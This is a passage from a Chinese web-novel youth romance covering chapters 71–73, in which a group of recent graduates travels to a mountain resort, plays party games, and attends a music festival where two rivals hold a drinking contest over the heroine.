迟瑜坦然道：“怎么了？”
“我看了时间，中午之前应该能到。”顾鸢说着打开手机给他看，“晚上那边有个少数名族的音乐节，你想去看吗？”
迟瑜垂睫，屏幕上方突然弹出一条消息，他勾唇笑了笑，说：“一起去。”
“那我跟言酥说一声。”顾鸢拿过手机给言酥发消息。
言酥说她和徐百川已经到了，考虑到大家都没有吃早餐，两人也帮忙买了。
顾鸢回完，退出来之后看到了陈哲明刚才给他发的消息。
陈哲明：“方便吗，中午一起吃个饭。”
顾鸢回他，“不好意思，这几天我不在宁宜。”
陈哲明回的很快，“没关系，等你回来了可以吗？”
顾鸢：“好。”
回完消息，把手机装好，迟瑜继续牵着顾鸢的手。
71. 咬破
楼下，江皓阳看到两人牵着手出来，酸气都从天灵盖冒出来了，“哼——”
顾鸢：“？”
迟瑜：“……”
江皓阳从中间走过去分开两人，“请注意一点，别一大早就拉拉扯扯的，像什么样子。”
上了出租车，江皓阳还在不停说话，“我现在有点怀疑跟着你们出来是不是个正确的决定，早知道我也谈个女朋友了，想我也是十八班班草一枚。”
顾鸢：“陈静不是说班草是他男朋友吗？”
江皓阳：“……她那是情人眼里出西施，她说的不算。”
迟瑜嗤笑了一声，“江皓阳初一就跟人家姑娘表白，还声称自己是北岸第一帅。”
江皓阳：“不揭人短啊。我还没说你英雄救美，帮一个姑娘教训了混混，人家姑娘为了感谢你给你送了一个月的牛奶呢。”
迟瑜看向顾鸢说道：“我没收。”
“很帅。”顾鸢的眼睛亮晶晶地看着他说道：“要是我我也会很感谢你的。”
江皓阳：“？”
-
赶在中午之前大家到了山庄，几个男生去办理入住。
没一会儿他们就过来了。
江皓阳搓了搓手，支支吾吾道：“那个，我先认个错，我不小心定错房间了。”
言酥：“然后呢？”
江皓阳：“标间错订成大床房了，现在没有空房，也换不了。”
言酥：“所以现在是三间大床房？”
江皓阳点头。
“又不是什么大事。”顾鸢拉上言酥，“我跟言酥住，你们三个看要怎么分。”
江皓阳左右看了一眼，“我要自己睡，免得你们有对象的打电话酸死我。”
迟瑜和徐百川对视一眼，只好拿最后一张房卡。
放下行李，大家决定先去餐厅吃饭。
山庄的餐厅在另一边，外面的太阳直直地照下来，言酥撑开太阳伞，挽着顾鸢的胳膊，走在前面。
言酥凑到顾鸢耳边小声问她，“你们有没有那个？”
“什么？”
言酥指尖点了点自己的嘴唇。
顾鸢强装镇定地说道：“你不会是……”
“当然没有了。”言酥闹了个红脸，“哎呀，才确定关系呢，那也太快了。”
顾鸢仔细想了想。
快吗？
“嘿—，你们俩嘀嘀咕咕地说什么呢，有什么是我不能听的。”江皓阳不满地站在两人旁边控诉，“你们俩不可不能像他们俩一样见色忘友啊，一个两个跟有病一样半夜给我打电话说他有女朋友了，真是，本少爷稀罕吗？”
言酥：“谁半夜给你打电话？”
顾鸢朝迟瑜看过去，对方谈然地让她看，唇边还漾着明晃晃的笑意。
五人找了一个靠窗的位置坐下，点完吃的，餐桌上突然安静下来。
江皓阳：“你们怎么都不说话，在用意念交流吗？”
隔壁桌正好坐下一对男女，看年纪和他们一样大，应该也是高考完出来玩的。
女生不高兴地说道：“你怎么回事，我们是男女朋友，为什么要多订一间房？”
男生：“太快了，不好吧。”
女生：“我还能把你怎么样吗？”
“咳——”
江皓阳拿出手机在群里发了一个小程序，“我们来玩一个游戏，谁是卧底。里面的每个人都会有一个身份名片，然后要去形容他。有一个人的和其他人不一样是卧底，其他人则是平民。如果平民猜出卧底，那平民就赢了，反之，平民就输了。输了的人必须选真心话。”
言酥：“卧底输了要回答四个问题吗？”
徐百川说道：“回答一个，同样卧底赢了也只能指定一个人回答。”
顾鸢：“我建好房间了，开始吧。”
江皓阳：“我是1号，我先说，这个人是个男的。”
徐百川：“是歌手。”
迟瑜：“也是演员。”
顾鸢：“长得很帅。”
言酥：“发型好看。”
江皓阳：“这怎么投，说明一下，长得帅，发型好看这种不能说了。”
迟瑜：“你也别说男的女的。”
江皓阳：“咳—，他是一个组合里的其中一个。”
徐百川：“他们组合有四个人。”
迟瑜：“香港人。”
言酥：“他的名字是两个字。”
顾鸢：“他不在香港出生。”
江皓阳：“我投言酥。”
顾鸢：“我投迟瑜。”
言酥：“我投迟瑜。”
徐百川：“我投顾鸢。”
迟瑜：“我投江皓阳。”
迟瑜下线，游戏继续。
江皓阳：“再说吗，还是直接投？”
言酥：“投吧，我投徐百川。”
顾鸢：“我投徐百川。”
徐百川：“我投顾鸢。”
徐百川下线，游戏继续。
江皓阳看一眼眼酥，再看一眼顾鸢，“你们俩谁呀。”
顾鸢手托着下巴，悠悠道：“我怎么觉得是你。”
言酥：“我也有点觉得。”
迟瑜一条胳膊搭在顾鸢身后的椅子上，唇角浅勾，“答案都出来了，所以你们三个有一个人在说谎。”
江皓阳：“我投顾鸢。”
言酥看了眼两人，“我也投顾鸢。”
顾鸢问两人，“为什么投我？”
江皓阳：“因为你聪明，还有就是我的直觉。”
言酥：“我也是直觉。”
顾鸢：“……”
答案揭晓，顾鸢是卧底，她的是郭富城，其他人的是黎明。
江皓阳：“我的直觉果然没错，顾姐你真能演，第一局就把迟瑜踹出去了。”
江皓阳觑了眼迟瑜，笑嘻嘻地说道：“好了，问题由我来问，顾姐你第一个喜欢的人是谁啊？”
言酥：“小时候喜欢的不算。”
徐百川：“初中的算。”
顾鸢：“我……”
江皓阳：“等会儿，你就说名字是几个字吧。”
顾鸢翻出迟瑜的手机。
“行吧我又吃了一嘴的狗粮。”江皓阳嘟囔道：“下次我才不问这种问题了。”
-
吃完饭回去休息，顾鸢刚躺下，手机就响了一下。
迟瑜：【来的时候看到有间清吧，要不要去坐坐】
顾鸢掀开被子，看言酥睡着了，她拿上手机悄悄出门。
顾鸢下去的时候迟瑜在大厅等她，视线往她身后看了眼，确定没人跟来上前拉住她的手，“走吧。”
“好。”
清吧的设计是很有氛围感的美式复古风，房顶吊着玻璃灯，灯光是昏暗的黄，墙壁上有装饰的绿色植物，桌子上摆放的是外面花园里的野花，从里面透过窗户可以看到大片的绿色藤曼。
这个时间大家都在房间午休，里面只有一个调酒师趴在柜台上打瞌睡。
迟瑜屈指在桌子上点了点，小哥立马睁开眼睛站直，“您好，请问需要点什么？”
“可以自己调吗？”
小哥看了两人一眼，“当然可以。”
顾鸢有些诧异，“你还会这个？”
迟瑜把手机掏出来放到一旁，“学过。”
他的手指骨节分明，小臂上浅浅迭出分明的筋脉，肌理紧实分明。
因为不知道顾鸢的酒量，迟瑜没敢加别的，只用了茉莉花茶、柚子汁和青梅酒，调出来之后的整个颜色是渐变的粉色。
“尝尝。”迟瑜伸出把杯子放到顾鸢面前。
顾鸢浅浅抿了一口，淡淡桂花香萦绕在齿间，酒味并不大。
“你的这杯怎么不一样？”
“你想喝我的？”迟瑜挑了下眉，玩笑道：“喝醉了晚上音乐节可就去不了了。”
“就喝一点。”顾鸢说着已经喝了一口，“有点甜，还有点涩。”
小哥说道：“初时上头，中间甜，最后酸涩，不就像爱情一样。”
迟瑜从吧台里走出来，“哥，刚分手？”
小哥惊讶，“你怎么知道？”
……
顾鸢选了一个靠窗的位置，坐下之后手撑着下巴眼睛微微眯着，舒缓的音乐缓缓响起，真有了一点微醺的感觉。
迟瑜：……
靠！真醉了。
“这是几？”迟瑜伸出两根手指。
顾鸢淡淡看了眼，“二。”
迟瑜又加了一根手指，“现在呢？”
顾鸢眨眨眼，“笨，三啊。”
在把人带回去和继续在这儿呆着之间迟瑜选了后者。
顾鸢突然扭头看过来，眼眸亮亮，“答对了没有小红花吗？”
没想到喝醉的顾鸢这么可爱，迟瑜在她旁边坐下，说道：“当然有。”
“我手机呢？”顾鸢在自己身上找了找，没找到，然后开始在迟瑜身上找，“是不是你拿了？”
迟瑜抓着她的胳膊坐好，“顾鸢同学，你现在乖乖在这儿坐着，我去帮你找手机，不能乱跑，不然小红花就没了，听懂了就点头。”<
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p>顾鸢乖巧地点了点脑袋。
他女朋友怎么这么可爱。
迟瑜揉了揉顾鸢的脑袋，起身去吧台找手机，应该是落在那儿了。
窗外有股热风吹进来，顾鸢抬手扇了扇，余光瞥到桌子上放了两杯水，随便拿了一杯仰头就喝。
迟瑜看到她的动作连忙跑过来去夺她手里的杯子，顾鸢闹着不让，硬是把一整杯都喝完了。
末了还要控诉迟瑜，“你好讨厌，为什么不让我喝水。”
我他妈再让你喝酒我就是狗。
靠！带女生来酒吧的人真不是什么好东西。
迟瑜生出了一丝罪恶感。
顾鸢说完晃晃悠悠站了起来，伸手就要拿另一杯，迟瑜直接先她一步拿起来一口气喝完。
顾鸢瞪大眼睛，愣住了。
这是什么恶霸。
因为喝的急，迟瑜的嘴角还有几滴要落不落的水珠。
顾鸢二话不说抱住他的脖子吻了上去，唇瓣轻轻舔砥将水珠含进口中，似乎是寻到了甜味，顾鸢继续往里探。
迟瑜发懵的大脑终于回了几分神智，伸手去推身前的人，顾鸢蹙眉，不满地用力将他一推。
嘭——
迟瑜摔倒在沙发上，顾鸢也跟着摔了下来。
……
顾鸢睁开眼睛就看到满眼的绿，再往下是玻璃，桌子。
顾鸢闭上眼睛仔细回想之前在干什么。
迟瑜叫她来清吧，然后迟瑜调了酒，她喝了，……，就、醉了吗？
“醒了。”
头顶突然响起一道声音，顾鸢吓得坐了起来。
“我怎么睡着了？”
顾鸢揉了揉头发，发现有一段记忆是空白的？
迟瑜目光深深地看着她，“真想不起来了？”
顾鸢抿了抿唇，“我就喝了一口，就醉了？”
迟瑜点头，“嗯，你喝醉了。”
“这么点就醉？”顾鸢不太相信，“我酒量这么差吗？”
迟瑜轻嗤一声，结果牵动唇角的伤口疼的蹙眉。
顾鸢不可置信地看着他嘴角的伤，“你这是、怎么弄的？”
迟瑜扬眉，散漫说道：“我咬的。”
顾鸢松了口气。
“你觉得可能吗？”说完，他抬手按了按被咬破的地方。
顾鸢：“……难不成是我？”
“不然？”
迟瑜俯身靠近，顾鸢往后挪，直到后背抵着窗户，迟瑜才停了下来，“要不你再仔细看看，万一就想起来了。”
顾鸢还是觉得不可能，迟瑜似乎看出了她心底的想法，拿着手机在手里扬了扬，“如果想不起来的话，可以看一下这段监控。”
顾鸢抬头，摄像头直直地对着这里。
“其实不用。”
顾鸢说完伸手去推他，结果对方纹丝未动。
迟瑜垂着眼，嗓音淡淡，“我觉得你早就对我图谋不轨了。”
“怎么可能？”
“……”
顾鸢说完才意识到自己的反应太过了，“我只是喝醉了。”
好在言酥的电话及时解救了顾鸢。
“你去哪里了，徐百川说借到了车，我们这会儿过去时间刚好。”
顾鸢瞄了眼迟瑜，“我马上回来。”
言酥又说：“迟瑜跟你在一起吗，他也不见了。”
顾鸢：“我们马上回来。”
从清吧里出去，顾鸢似乎都能感受到调酒小哥投过来意味不明的目光。
顾鸢发誓，以后绝对不碰这个东西。
两人刚进大厅，三双眼睛就齐刷刷地看过来。
顾鸢头皮发麻，“我上去拿件衣服。”
言酥：“你放在沙发上的外套我帮你拿了。”
徐百川：“要是没有取的东西我们直接出发。”
江皓阳眯了眯眼睛，瞥了眼迟瑜又瞥了眼顾鸢。
迟瑜开车，顾鸢自然坐的副驾。
“你什么时候学的驾照？”
“去年报的名，抽时间练的，今年开学前拿到了驾照。”迟瑜说完把手机递给顾鸢，“等会儿可能会有个电话，直接挂断就行。”
顾鸢接过来，“不想接拉黑不就好了。”
“是肖明淮，说怕自己忘记吃饭饿死在实验室，每天都要打一个。”迟瑜说完把手机密码告诉她。
“那也应该是你打给他，怎么是他打给你。”
顾鸢的话音刚落手机就响了，顾鸢本来要挂断的，结果不小心按了接通。
“我还活着，好了再见。”
72. 拼酒
江皓阳瑟瑟发抖，“大学不是去享受的吗？怎么这么可怕，这和老师说的不一样啊。”
言酥：“说你傻你还真天真。”
徐百川安慰他，“学的专业不一样忙碌程度也会不一样。”
顾鸢正要把迟瑜的手机放回去，铃声又响了，来电显示是一串号码，还是一串有点眼熟的号码。
“要接吗？”顾鸢把手机拿起来给他看。
迟瑜瞥了眼，没有备注，“可能是广告推销，不用管。”
电话自动挂断，下一秒又响了起来。
顾鸢提醒他，“还是那个号码？”
迟瑜随口道：“帮我接一下。”
顾鸢点了接通，对面的声音带了几分哭腔，“迟瑜，能见一面吗？”
顾鸢把手机贴到迟瑜耳边，“凌熙诺的。”
迟瑜：“找我有什么事吗？”
凌熙诺隐约听到了有女生的声音，但她太过伤心，所有没有去分辨说话的是谁。
“迟瑜，我心情不好，能和你见一面吗？”
“不好意思，我不方便，如果你有需要可以去找你的朋友，要是解决不了可以找警察。”
迟瑜说完打了方向盘，车子转弯驶进一条小路，他身体往旁边倾了倾，“看一下导航，是这里吗？”
顾鸢打开手机给他看，“应该是，再走不到十分钟就到了。”
听清对面的女声，凌熙诺木然关断了电话。
迟瑜瞥了眼手机页面，收回目光。
顾鸢他们到的时候，已经有穿着民族服饰的人围着火堆跳舞，他们还唱着歌，虽然听不懂，但周围都是欢声笑语，非常热闹。
言酥拉了拉顾鸢的袖子，凑到她耳边说道：“好想穿那个裙子，我在手机上看到有一家店就在前面，我们过去。”
顾鸢回头给迟瑜说了一声。
迟瑜俯身，“不用陪你吗？”
周围的声音很大，顾鸢凑到他耳边说道：“不用了。”
顾鸢和言酥离开之后，迟瑜忽然看到一抹熟悉的身影，等他要再看的时候已经找不到了人了。
江皓阳一边拽上一个，“我们去那边，好像是玩游戏可以赢奖品。”
反正也是等着，三人就过去了。
-
顾鸢和言酥换好衣服出来，两人看向对方，忽地笑了起来。
言酥：“我还是第一次穿这种民族服装。”
顾鸢：“我也是。”
言酥突然想到什么，“你说我们这样过去他们会不会不认识了。”
顾鸢：“我觉得应该不会吧。”
言酥提起裙子往店里走，“姐姐，有面纱吗？”
戴好面纱，言酥问顾鸢，“现在能认出我吗？”
顾鸢：“还是有一点。”
言酥：“不管了，走。”
言酥拉着顾鸢小跑起来，远远看到迟瑜的背影，顾鸢正要往那边跑，突然有人转身，肩膀被撞了一下。
“抱歉。”顾鸢说完就被言酥拉走了。
眼看着顾鸢要过去了，言酥指了指自己的面纱，又指了指她的。
顾鸢：“那我们去哪儿？”
言酥想了想，“去跳舞？”
“好。”
言酥是有点社牛在身上的，拉着顾鸢很快就加入了队伍，随着人数越爱来越多，队伍也不断壮大，人数由一圈人变成了两圈，身边的人也在不断变换。
赢了奖品的迟瑜被江皓阳拽了一把，“迟哥你看那边的那个是不是陈哲明？”
迟瑜抬起眼帘望过去，视线落到旁边的人身上时神色一怔。
串珠手链被紧紧捏在手里，迟瑜的眸色淡到看不出什么表情，只有旁边的江皓阳察觉到了他身上的低气压。
“怎么了，降温了。”江皓阳搓了搓胳膊，“你把钥匙给我，我去车上等你们。”
迟瑜把钥匙丢给他。
一首歌结束，顾鸢转头去找言酥，结果发现旁边的人是另一个女生。
“顾鸢？”有人在她身后叫她的名字。
顾鸢转身，看清来人的时候愣了几秒钟，“陈哲明？你也在这儿？”
“我外婆家在这里。”陈哲明仔细看着面前的女生，扬唇笑了笑，“你和言酥一起来的吗，我刚才看到徐百川拉着他往那边走了。”
陈哲明抬手指了下，顾鸢顺着看过去，看到了站在不远处的迟瑜。
不知道为什么，顾鸢总觉得他的眼神和平时不太一样，可是离得有些远，她也看不太清。
陈哲明：“我想说……”
“不好意思我先走了。”顾鸢扭头看向陈哲明，“你是有什么事要说吗？”
陈哲明摇了摇头，“没事，改天再说也是一样的。”
“好，再见。”
顾鸢说完就朝迟瑜小跑过去。
“你怎么没过来？”顾鸢问他，见他不说话，不太敢相信地说道：“不会真的没有人出来吧。”
迟瑜牵起她的胳膊，把手链戴上。
蓝色琉璃珠上加了鱼尾吊饰，有深海，又有星空的感觉。
迟瑜问道：“喜欢吗？”
顾鸢抬起手腕高兴地点头，“喜欢。”
想到自己也没给他准备什么，这个女朋友好像有点失职，顾鸢踮起脚隔着面纱在他的唇角轻轻吻了一下，“谢谢，我很喜欢。”
迟瑜一只手绕在她身后，一只手握着戴了手链的手腕，头低下来，嗓音温沉，“以后别说谢谢了。”
“嗯？”
“就像刚才这样。”说着迟瑜渐渐俯身凑到她耳畔，“当然今天下午那样还是不要了，我不太受的住。”
“你……”顾鸢羞恼地去推他。
迟瑜吻了下她的额头，然后退开站好。
“还要玩吗？”
“想再逛逛。”
顾鸢帽子上的羽毛有些歪了，迟瑜想要扶着它插好，结果一碰就掉了下来。
“哎呦，小伙子眼光真好。”旁边摆摊的大爷说道。
顾鸢不明白，问道：“爷爷，你说的是什么意思啊？”
大爷指了指迟瑜手里的羽毛，笑着解释，“我们这里有个传统，要是有小伙子摘了姑娘帽子上的羽毛就是喜欢她。要是姑娘也喜欢小伙就会把羽毛送给他，要是不喜欢就会把羽毛要回去。”
“这么巧，迟瑜，你也在这儿？”
“呦，哲明啊，你们认识？”大爷的视线落在迟瑜和陈哲明身上打量。
迟瑜回头看他，神色淡淡，“是挺巧。”
陈哲明问大爷，“李爷爷，你这里有酒吗？”
这话一出大爷和旁边闲聊的几人都愣了。
“哲明，你也喜欢这小姑娘啊？”
顾鸢怔住，“你们这儿还有传统？”
一个大妈解释道：“就是闹着玩的，要是同时有几个小伙喜欢一个姑娘，大家酒会拼酒，谁能坚持到最后就算赢了。”
顾鸢想到迟瑜的酒量，皱着眉拉住他的手，“可是我喜欢的是他，他为什么要答应拼酒。”
这话一出，大家都愣了。
好像是这么个道理。
陈哲明的眸光也暗淡下去，可是他不甘心，又对迟瑜说道：“这是村民自己酿的酒，多喝也不会伤身，要喝吗？”
迟瑜轻轻拍了拍顾鸢的手，“没事，就喝一点。”
木桌上的东西都挪走，上面全部摆上了酒，酒坛并不大，一坛大概是一斤左右。
顾鸢给江皓阳发消息，【迟瑜酒量怎么样？】
江皓阳正坐在车上打游戏，看到了这条消息愣了几秒。
这他要怎么回。
【怎么了？】
顾鸢：【他要和陈哲明拼酒】
“卧槽——”
江皓阳一个起身坐直，【什么情况】
顾鸢：【情况有点复杂】
【我来看看】
江皓阳打开车门就往下跑，这种好戏怎么能没有他在场。
顾鸢收了手机，迟瑜和陈哲明的手边已经放了四五个空酒坛。
等江皓阳赶到，空的坛子大概有七八个。
江皓阳轻轻嗅了嗅，“这酒不像市面上买的。”
旁边的一个男生说道：“这是家酿的，市面上买不到。”
江皓阳又问：“那他的浓度多少？”
男生：“保底60。”
江皓阳懵了，“这么高？”
男生：“可不是，这俩人就跟喝水一样，小小年纪就这么能喝，不得了啊。”
“不得了大爷，再喝下去得出事了。”江皓阳说完就要去拽人，结果顾鸢已经去拉了。
迟瑜一只手扶着桌边，一只手被顾鸢抓住，双颊还是正常的颜色，看不出有什么不同，只是说话的声音都开始飘了，“帮我买解酒药了没有？”
“你还能记得解酒药？”顾鸢扶着他往回走，气道：“药在包里，先扶你去车上。”
“恐怕不行。”迟瑜把脑袋搁在顾鸢的肩窝里，嗓音低沉嘶哑，“他们俩没驾照，我开不了车。”
顾鸢：好想咬他。
一个带着头巾的奶奶说道：“小姑娘不介意可以去我家住，我是哲明的外婆，这小子难得有朋友，你这几位朋友也一起吧。”
……
陈哲明被江皓扶着，顾鸢扶着迟瑜。徐百川和言酥去衣服。
舍奶奶家只有她和陈哲明两个人，所以正好有几间空房。
顾鸢穿的衣服并不方便，等言酥回来就去换衣服了。
顾鸢刚走迟瑜就站了起来往洗手间跑。
江皓阳大爷似的坐在沙发上啧啧两声，“我也是佩服。”
徐百川坐在沙发上翻着给言酥拍的照片，随口说道：“你不懂。”
江皓阳啧啧的声音更大了，“我还真不懂，顾鸢都说了喜欢的是他了，还拼什么酒啊，这不是已经赢了。”
徐百川眄他一眼，“跟说了你不懂，在喜欢的女孩面前不能落脸。”
江皓阳还想说什么，迟瑜从洗手间出来了。
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>舍奶奶端着醒酒汤进来，“这个是我自己煮的，喝了就没那么难受了。”
“谢谢奶奶。”迟瑜正打算接过来，舍光瞥见门口进来的顾鸢，整个虚虚地朝旁边的徐百川靠过去。
舍奶奶看向江皓阳，“老太太年纪大了，今晚麻烦你照顾一下我外孙。”
江皓阳上前扶着她往外走，“奶奶放心，我会照顾好他。”
等顾鸢进来，徐百川立即起身，“言酥在叫我，先走了，迟瑜就麻烦你照顾了。”
顾鸢看向桌子上的汤，“这是？”
“这是舍奶奶端来的醒酒汤，你让他喝了。”徐百川说完就往出走，活像是后面有什么东西在追一样。
顾鸢看了眼靠床躺着的迟瑜，弯腰去叫他，“迟瑜？”
没应声，顾鸢只好端起汤碗，舀了一勺子递到他唇边，“张嘴，不然我叫别人来了。”
迟瑜掀起厚重的眼皮，眸光涣散。
顾鸢又气又无奈，“都说了不用喝了，自己找罪受。”
迟瑜没说话，乖乖喝完就继续躺着了。
喂完了汤，顾鸢刚起身手腕就被攥住。
顾鸢回头，迟瑜并不清明的眼睛直勾勾地盯着她。
顾鸢弯腰和他平视，“我是谁？”
迟瑜没有片刻思考直接道：“我女朋友。”
“你女朋友是谁？”
“我女朋友。”
怎么绕回去了。
顾鸢继续问：“你女朋友的名字叫什么？”末了又补充，“答对了有奖励。”
迟瑜漆黑深邃的眼盯着她看了几秒钟，忽地坐了起来下巴搁在顾鸢的肩膀上，嗓音又低又懒，“浅浅。”
顾鸢被迟瑜的头发蹭的有些痒，伸手推开他坐好，迟瑜耷拉着眼皮，嗓音控诉，“为什么不让我抱？我没答对吗？我的奖励呢？”
顾鸢：？
“你还和别人一起跳舞。”迟瑜开始细数起来，语气带了点幽怨，“还凶我。”
“还不让我抱。”
顾鸢懵了，“没不让你抱。”
“你刚推我了。”迟瑜抬起眼皮瞄了她一眼，很快又低下脑袋不说话。
顾鸢盯着她看了好一会儿，伸手去抱，结果迟瑜往旁边一闪躲开了。
又哪出？
顾鸢俯身，柔声问道：“生气了？”
迟瑜哼了声，没说话。
顾鸢抿了抿唇，压着嘴角的笑。
怎么有点可爱。
“给抱的。”顾鸢去拉他的胳膊试图把人拽起来，然而力气不够，嘭的一声人摔了下去。
迟瑜闷哼一声，紧闭着眼睛，手抓紧床单，有点儿后悔。
顾鸢手脚并用趴起来跪坐在旁边，伸手捋了捋头发，脸颊因为用力也泛起一层薄红。
“你乖乖睡觉，我去叫徐百川过来。”
顾鸢刚要站起来下去，手腕被蓦地攥住，她垂睫，迟瑜的瞳眸在昏黄的灯线下深邃的像一个深不见底的漩涡。
顾鸢的心脏狠狠的颤了颤。
“我先回、唔……”
顾鸢话还没有说完，就被迟瑜按着后颈吻住。
他好像生气了，可唇上的动作却温柔，顾鸢本就发热的脸颊此刻更是滚烫到灼热，唇瓣被细细地舔舐，心跳声沸反盈天，手腕也软绵绵的没了力气。
许久，迟瑜才堪堪停下。
耳畔的呼吸又重又急，顾鸢偏着脑袋搭在他的肩膀上，唇瓣微张，眼框湿漉漉的，瞳色还有些涣散。
顾鸢还没缓过来，迟瑜又循着唇瓣浅浅地吻着，一下一下，不轻不重，却撩拨着心弦，让人心颤的厉害。
感官被无线放大，就在顾鸢隐隐觉得再这下去不行的时候，迟瑜忽地抽身，额头抵着额头，指腹摩擦着顾鸢后颈的软肉，顾鸢抓着他的衣摆，瞳眸湿的惹眼。
迟瑜狠狠闭上眼睛，唾骂了自己两声。
“困了。”
他把脑袋搁在顾鸢肩窝，嗓音还带了酒后的沙哑，音调也沉。
……
顾鸢扶着迟瑜躺好，给他盖上薄毯，才给言酥发消息，【我过来了】
言酥：【OK】
躺到床上，言酥凑近顾鸢小声说道：“你们刚才在接吻吗？”
“不是。”顾鸢下意识否定，“他喝多了，我喂他喝了醒酒汤。”
“那你的脸怎么这么红，嘴巴也红，还有点肿。”言酥笑得有些猥琐，“跟我说说呗，什么感觉？”
“没什么感觉。”顾鸢脸烫的厉害，果断转移了话题，“今晚玩的开心吗？”
“当然开心了。”言酥笑着说道：“我以前对徐百川的感情其实挺矛盾的，就是觉得可能喜欢他，又觉得可能是我们呆在一起久了产生了错觉。”
“对了，你以前没发现吧，陈哲明喜欢你。”
顾鸢抿了抿唇，“确实没有。”
言酥：“你的注意力都在迟瑜身上，当然感觉不到了。对了，我一直想问你，你为什么喜欢迟瑜啊？其实单看陈哲明也不错。”
73. 别装
徐百川站在床头淡淡道：“行了别装了。”
迟瑜掀起眼皮，撑着胳膊坐了起来，“给我杯水。”
徐百川倒了杯水给他，靠着柜子双手环抱，垂眸睨着他，“你怎么回事？不是说不跟人拼酒了。”
迟瑜初中的时候跟人拼酒，结果被叶蔓茹发现，差点就被赶出家门。那次之后迟瑜就算喝也会只喝一点，拼酒更不会。
迟瑜靠在床头，抬手揉了揉胀痛的脑袋，嗤道：“要是陈哲明喜欢言酥你喝不喝？”
徐百川语塞，“但就你的酒量装醉，多少有点不要脸了。”
迟瑜撩起眼皮乜他一眼，“有本事你也装。”
“说你不要脸你还喘上了。”徐百川拉了个凳子在他面前坐下，“虽然我问了可能有点败景，但是你确定顾鸢要留下？”
迟瑜眼神不善地看向徐百川。
论扎刀还是兄弟扎的准。
“以后的事再说。”迟瑜真不想谈论这个问题，但被扎了刀子还是得还回去，“你跟言酥不会就牵了个手。”
徐百川看了眼迟瑜被咬破的嘴角，脸上变了变，“我能有你不要脸。”
迟瑜：“我女朋友主动亲我了。”
徐百川：“你不要脸。”
迟瑜：“我女朋……”
徐百川拿起薄毯盖住他的脑袋，眼不见心为净。
-
隔壁
江皓阳扶着陈哲明喝下解酒汤，无奈说道：“你这是何必呢？”
陈哲明靠在床上，虚虚地说：“就是想知道我比他差在哪里了。”
陈哲明抬起眼皮，“你说，我差在哪里了？”
“你没差。”江皓阳挠了挠后脑勺，靠在后面的柜子上，“虽然这喜不喜欢的我也不懂，但我觉得这事看人。而且决定权在顾鸢，你跟迟瑜拼酒也没用啊，还把自己弄得这么难受。”
陈哲明垂下脑袋，声音很轻，“可是我真的很喜欢她。”
江皓阳：“说句真心的，迟瑜也是真喜欢顾鸢。就为了配得上人家，从初中开始补起；为了得到一个奖励，一晚上就睡三个小时。当然这事纯属他活该，谁让他以前不学，还非要喜欢第一。”
“但是吧，这也得双向奔赴不是，那也是顾鸢愿意管他，愿意给他承诺，愿意接受他。”
陈哲明闭上眼睛不想说话了，“你先睡吧。”
江皓阳立马站直，“你干嘛？我不跟你睡。”
陈哲明淡淡道：“随你？”
江皓阳突然抱紧自己，“……你别对我有什么想法。”
陈哲明眼皮直跳，无语道：“我就算被拒绝也不会喜欢男的。”
江皓阳撇嘴，小声嘟囔，“我怕你醉了把我当成别人。”
陈哲明从床上下来，“我睡沙发。”
-
第二天一早大家就和舍奶奶道别回了山庄。
回到房间顾鸢先去洗澡，出来打开手机看到有个未接来电。
又是陌生号码，顾鸢没管，等吹完头发出来那个号码又打过来了。
凌熙诺的声音通过听筒传出来，“对不起”，嗓音有点哑，应该是哭过。
顾鸢走到窗户前的躺椅上坐下，眼睛看向远处叠起的云雾。
凌熙诺又说：“之前是我打扰你了，抱歉。”
“凌熙诺。”顾鸢叫了她一声，眼睫垂下，“如果没有这一层乱七八杂的关系，我就不会讨厌你。”
凌熙诺忽地笑了，“那你可能还要继续讨厌我。你知道爸爸为什么希望你留在国内吗？”
顾鸢眼底淡漠，“什么？”
“因为你可以帮到弟弟，爸爸年纪大了，总要为弟弟铺路。”
顾鸢扯了扯嘴角，想到了冯旭女朋友给她的东西，她突然不想拿出来了。
“那就祝他心想事成。”
挂断电话，顾鸢双手抱着膝盖望向远处，雾还在，能隐隐看清山顶的位置。
言酥一回来就出去了，顾鸢一个人也没什么事做，正要打开电视看个电影，房门被敲响。
顾鸢下床跻上拖鞋去开门。
迟瑜站在门口，稍有些局促地问她，“要不要出去玩？”
“等我一会儿。”
关上门，顾鸢跑到卫生间看了眼自己的形象。
头发是乱的，衣服是随便穿的，黑眼圈是有的……
顾鸢拿出发箍先把头发固定住，在行李箱里找了一套之前搭配好的衣服。
怕迟瑜等太久，涂了防晒，头发梳顺，拿上包就出门了。
迟瑜正倚着墙看手机，听到开门的声音扭头看过去。
顾鸢穿的是一字肩红白格子上衣搭复古蓝短裤，头发随意散在肩上，眼眸亮亮的看过来，“不好意思，等久了吧。”
“没。”迟瑜轻咳一声，“走吧。”
两人沿着花园里的长廊漫步，头顶的许愿风铃被风吹的发出清脆的声音。
“你好点了吗？”顾鸢记得他昨晚喝了起码有十瓶，而且那酒浓度又大，陈哲明今天早上就没起来。
迟瑜想到徐百川说他不要脸，眼睛微闪，说道：“好多了。”
顾鸢停了下来，抬起眼睫看向他，神色严肃，“我不喜欢你这样。”
迟瑜心慌了一下，下意识去拉顾鸢的手，顾鸢躲开，淡然道：“你知道自己的酒量吗？”
迟瑜捏了捏手指，嗓音压得低，“知道。”
“所以你还答应和陈哲明喝酒？”
顾鸢想起她昨天晚上一出去迟瑜就跑去卫生间吐，心里有点生气，“所以你喝赢了，不管身体怎么样都无所谓？”
“不是。”迟瑜第一次知道自己言辞匮乏，“我错了。”
顾鸢觉得自己似乎应该和网上无理取闹的女朋友一样再问一声他错哪儿了，可她又怕这样会让人讨厌，只好先沉默让自己冷静一下。
迟瑜以为顾鸢是生气到不想理他了，也不管她躲不躲直接拉住她，“你别生气，我保证再也不拼酒了。”
顾鸢扭过头没理他，还要再冷静一会儿。
“其实我的酒量还可以，喝的那些没事。”迟瑜一骨碌都说了出来，“昨天你也看到了，我会调酒，那点度数的酒对我来说真的不算什么。”
顾鸢回头，仔细地打量着他。
“你昨晚喝醉也是装的？”
迟瑜：“……没、是。”
顾鸢盯着他看了好一会儿，才慢慢说道：“我本来还担心你喝多了难受，既然没事就好了。”
顾鸢的语气很平淡，平淡到没有什么起伏，眼神也淡淡的，看不清什么情绪。
“那我，”迟瑜试着去牵顾鸢的手，顾鸢错开他走进旁边的一家小店。
店员是个漂亮的大姐姐，看到她进来连忙说道：“想要什么随便看。”
顾鸢抬手指了指上面，“要这个风铃。”
“许愿风铃啊，”店员朝后面进来的男生看了眼，她刚才就看见了，这俩人闹了矛盾。
“要几个？”
